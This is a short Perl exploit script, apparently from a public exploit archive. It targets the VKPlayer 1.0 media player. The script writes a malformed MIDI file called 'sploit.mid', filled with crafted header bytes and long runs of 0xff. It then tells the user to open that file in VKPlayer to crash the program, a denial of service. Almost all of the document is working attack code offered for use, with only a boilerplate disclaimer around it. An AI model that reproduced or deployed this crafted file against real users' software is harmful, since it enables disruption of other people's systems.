1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
#!/usr/bin/perl # VKPlayer 1.0 (.mid) Denial of Service Exploit # Download: http://www.brothersoft.com/vkplayer-239785.html # Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg> # From: Indonesia # #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # WARNING - WARNING - WARNING - WARNING #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # # # Disclaimer: The author published the information under the condition # that is not in the intention of the reader to use them in order to bring # to himself or others a profit or to bring to others damage. # # # Gr33tz: No Thanks print " [+]-----------------------------------------------[+] [+] VKPlayer 1.0 (.mid) Denial of Service Exploit [+] [+] By : cr4wl3r[+] [+]-----------------------------------------------[+] "; $buff = "\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64". "\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8". "\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; ####################################################################################### open(file, "> sploit.mid"); print (file $buff); ####################################################################################### print "\n[+] Done!\n [+] Open with VKPlayer and play\n [+] Coded by cr4wl3r\n"; |